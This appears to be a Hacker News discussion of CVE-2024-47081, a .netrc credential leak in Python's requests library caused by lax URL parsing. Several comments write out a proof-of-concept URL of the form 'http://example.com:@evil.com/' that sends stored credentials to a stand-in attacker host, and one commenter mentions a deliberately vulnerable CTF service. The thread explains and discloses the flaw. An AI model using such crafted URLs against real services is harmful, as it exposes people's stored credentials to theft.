5 ms·

CVE-2024-47081: Netrc credential leak in PSF requests library

62 points by jupenur 1y ago

dcrazy 1y ago
> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
- deleted 1y ago
  [deleted]
pixl97 1y ago
Execute the call >requests.get('http://example.com:@evil.com/' http://example.com:@evil.com/') >Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call Instead of having a url parse error it appears to drop the : and use the password:domain format.
lyu07282 1y ago
[flagged]
- lanyard-textile 1y ago
  Sounds like a misunderstanding, I’m not reading anything idiotic here — just misinformed.
- cwillu 1y ago
  man wget: --no-netrc Do not try to obtain credentials from .netrc file. By default .netrc file is searched for credentials in case none have been passed on command line and authentication is required.
- deleted 1y ago
  [deleted]
woodruffw 1y ago
Another good example of lax URL parsing/parser differentials being problematic. That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.
- w7 1y ago
  I think it may be in use by tools without people being aware. I decided to check my workstation for it just in case, figuring the file would be empty, or not exist. Instead it seems to be populated with what seem to be Heroku API and git credentials.
  - cozzyd 1y ago
    I have it on my laptop because it's the most convenient way to download datasets from various repositories (e.g. NASA Earth Data).
  - edelbitter 1y ago
    Well then go check if you are for some reason using any of the other surprise features [1], like honoring the CURL_CA_BUNDLE env variable, or not honoring the PROXIES env variable if REQUEST_METHOD is set. 1: https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env https://requests.readthedocs.io/en/latest/api/#requests.Sess...
awoimbee 1y ago
That's some horrible url parsing code... But honestly urllib sucks: url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"
- edelbitter 1y ago
  Wait till you see the cPython stdlib email parser.. Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.
janzer 1y ago
Given that the actual vulnerability seems relatively niche along with it being such a popular library officially maintained by the Python foundation, the scariest line in the advisory is almost certainly: The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
Daviey 1y ago
Well, it's probably just a coincidence, but I literally just spun up a web service that is vulnerable to this: https://isitup.daviey.com/ https://isitup.daviey.com/ The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc: machine localhost login *REDACTED* password CTF{*REDACTED*} It's not ideal that requests automatically slurps credentials from ~/.netrc and leaks them, even when my code never references it. It's possible that the netrc is on the same server from a different application, developer debugging environment, or just forgotten about etc. First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.
- dgl 1y ago
  Sorry, you have been blocked You are unable to access daviey.com Looks like Cloudflare has decided the whole thing is dodgy. Or doesn't like my IP address...
  - Daviey 1y ago
    That's really strange... because it seems to be working for some people (already have the first solve). I can't see an issues in CF... EDIT: I had the security in CF too robust, try now?
- deleted 1y ago
  [deleted]
- progbits 1y ago
  Edit: Comment removed on request of parent.
  - Daviey 1y ago
    Well done for solving it.. but I'd have preferred you had not shared the solution, it's against the spirit of these sorts of things, but I can't stop you. :) EDIT: I do appreciate you removing the solution. Have a great day.
audiodude 1y ago
If you, like me, have never heard of a .netrc file... https://everything.curl.dev/usingcurl/netrc.html https://everything.curl.dev/usingcurl/netrc.html
- neilv 1y ago
  There might be a funny thing with FTP, in which, if a company is using FTP, it's probably for something important. (Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)
zx8080 1y ago
A funny commit message in the root cause (as stated in the linked post) commit: > Push code review advice from @sigmavirus24
- dfedbeef 1y ago
  I feel this
- sionisrecur 1y ago
  To be fair, the advice from sigmavirus24 was about dealing with decoding the ':' character: https://github.com/psf/requests/pull/2936/files https://github.com/psf/requests/pull/2936/files The code already had `host = ri.netloc.split(':')[0]` before that. The actual root issue is urlparse doesn't split the host, user, pass and port and trying to do it manually is very error prone: urllib.parse.urlparse('http://example.com:@evil.com:8080/') ParseResult(scheme='http', netloc='example.com:@evil.com:8080', path='/', params='', query='', fragment='') Compare this with php: parse_url ('http://example.com:@evil.com:8080/') [ "scheme" => "http", "host" => "evil.com", "port" => 8080, "user" => "example.com", "pass" => "", "path" => "/", ]
  - kidmin 1y ago
    and it is from the beginning: https://github.com/psf/requests/commit/79bb9ee1417afe2231972c1331308500104e5dc7 https://github.com/psf/requests/commit/79bb9ee1417afe2231972...
Daviey 1y ago
Patch has now been merged, seems the Full Disclosure process works, https://github.com/psf/requests/pull/6965 https://github.com/psf/requests/pull/6965

62 points by jupenur 1y ago

dcrazy 1y ago

> The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.

deleted 1y ago
[deleted]

pixl97 1y ago

Execute the call >requests.get('http://example.com:@evil.com/' http://example.com:@evil.com/') >Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call Instead of having a url parse error it appears to drop the : and use the password:domain format.

lyu07282 1y ago

[flagged]

lanyard-textile 1y ago
Sounds like a misunderstanding, I’m not reading anything idiotic here — just misinformed.
cwillu 1y ago
man wget: --no-netrc Do not try to obtain credentials from .netrc file. By default .netrc file is searched for credentials in case none have been passed on command line and authentication is required.
deleted 1y ago
[deleted]

woodruffw 1y ago

Another good example of lax URL parsing/parser differentials being problematic. That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.

w7 1y ago
I think it may be in use by tools without people being aware. I decided to check my workstation for it just in case, figuring the file would be empty, or not exist. Instead it seems to be populated with what seem to be Heroku API and git credentials.
- cozzyd 1y ago
  I have it on my laptop because it's the most convenient way to download datasets from various repositories (e.g. NASA Earth Data).
- edelbitter 1y ago
  Well then go check if you are for some reason using any of the other surprise features [1], like honoring the CURL_CA_BUNDLE env variable, or not honoring the PROXIES env variable if REQUEST_METHOD is set. 1: https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env https://requests.readthedocs.io/en/latest/api/#requests.Sess...

awoimbee 1y ago

That's some horrible url parsing code... But honestly urllib sucks: url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"

edelbitter 1y ago
Wait till you see the cPython stdlib email parser.. Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.

janzer 1y ago

Given that the actual vulnerability seems relatively niche along with it being such a popular library officially maintained by the Python foundation, the scariest line in the advisory is almost certainly: The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.

Daviey 1y ago

Well, it's probably just a coincidence, but I literally just spun up a web service that is vulnerable to this: https://isitup.daviey.com/ https://isitup.daviey.com/ The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc: machine localhost login *REDACTED* password CTF{*REDACTED*} It's not ideal that requests automatically slurps credentials from ~/.netrc and leaks them, even when my code never references it. It's possible that the netrc is on the same server from a different application, developer debugging environment, or just forgotten about etc. First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.

dgl 1y ago
Sorry, you have been blocked You are unable to access daviey.com Looks like Cloudflare has decided the whole thing is dodgy. Or doesn't like my IP address...
- Daviey 1y ago
  That's really strange... because it seems to be working for some people (already have the first solve). I can't see an issues in CF... EDIT: I had the security in CF too robust, try now?
deleted 1y ago
[deleted]
progbits 1y ago
Edit: Comment removed on request of parent.
- Daviey 1y ago
  Well done for solving it.. but I'd have preferred you had not shared the solution, it's against the spirit of these sorts of things, but I can't stop you. :) EDIT: I do appreciate you removing the solution. Have a great day.

audiodude 1y ago

If you, like me, have never heard of a .netrc file... https://everything.curl.dev/usingcurl/netrc.html https://everything.curl.dev/usingcurl/netrc.html

neilv 1y ago
There might be a funny thing with FTP, in which, if a company is using FTP, it's probably for something important. (Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)

zx8080 1y ago

A funny commit message in the root cause (as stated in the linked post) commit: > Push code review advice from @sigmavirus24

dfedbeef 1y ago
I feel this
sionisrecur 1y ago
To be fair, the advice from sigmavirus24 was about dealing with decoding the ':' character: https://github.com/psf/requests/pull/2936/files https://github.com/psf/requests/pull/2936/files The code already had `host = ri.netloc.split(':')[0]` before that. The actual root issue is urlparse doesn't split the host, user, pass and port and trying to do it manually is very error prone: urllib.parse.urlparse('http://example.com:@evil.com:8080/') ParseResult(scheme='http', netloc='example.com:@evil.com:8080', path='/', params='', query='', fragment='') Compare this with php: parse_url ('http://example.com:@evil.com:8080/') [ "scheme" => "http", "host" => "evil.com", "port" => 8080, "user" => "example.com", "pass" => "", "path" => "/", ]
- kidmin 1y ago
  and it is from the beginning: https://github.com/psf/requests/commit/79bb9ee1417afe2231972c1331308500104e5dc7 https://github.com/psf/requests/commit/79bb9ee1417afe2231972...

Daviey 1y ago

Patch has now been merged, seems the Full Disclosure process works, https://github.com/psf/requests/pull/6965 https://github.com/psf/requests/pull/6965